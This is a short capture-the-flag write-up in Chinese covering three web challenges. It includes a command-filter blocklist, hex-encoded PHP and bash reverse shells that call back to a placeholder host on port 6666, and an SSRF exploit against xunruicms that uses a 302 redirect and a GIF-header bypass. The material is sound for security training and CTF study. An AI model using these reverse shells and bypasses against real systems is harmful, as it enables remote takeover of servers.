Simple_php
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php ini_set('open_basedir', '/var/www/html/'); error_reporting(0);
if(isset($_POST['cmd'])){ $cmd = escapeshellcmd($_POST['cmd']); if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) { system($cmd); } }
show_source(__FILE__); ?>
|
无参rce
可以用php -r 执行php代码
可以用16进制绕过反弹shell
这里hex2bin接收字符串,但是过滤了引号
substr不带引号传入参数虽然会报错但仍会执行
1 2
| $shell = hex($sock=fsockopen("ip",6666);system("sh <&3 >&3 2>&3");) cmd=php -r eval(hex2bin(substr(a$shell,1)));
|
flag在数据库中

easycms
扫到一个flag.php
后面提示

要ssrf来利用flag.php
找xunruicms的洞
在官网公示的漏洞里找到ssrf

https://codeload.github.com/dayrui/xunruicms/zip/refs/heads/master
在dayrui\Fcms\Core\Helper.php

可以访问外链
利用302跳转绕过127.0.0.1 利用flag.php弹shell
在vps写一个302跳转的网页
1
| <?php header('Location: http://127.0.0.1/flag.php?cmd=bash -c "bash -i >&/dev/tcp/ip/6666 0>&1"',true,302); exit(); ?>
|
payload
1
| ?s=api&c=api&m=qrcode&text=1&thumb=http://ip/&size=10&level=1
|

easycms_revenge
加了验证,利用GIF头绕过
1
| GIF89a <?php echo "GIF89a"; header('Location: http://127.0.0.1/flag.php?cmd=bash -c "bash -i >&/dev/tcp/ip/6666 0>&1"',true,302); exit(); ?>
|
1
| ?s=api&c=api&m=qrcode&text=1&thumb=http://ip/&size=10&level=1
|
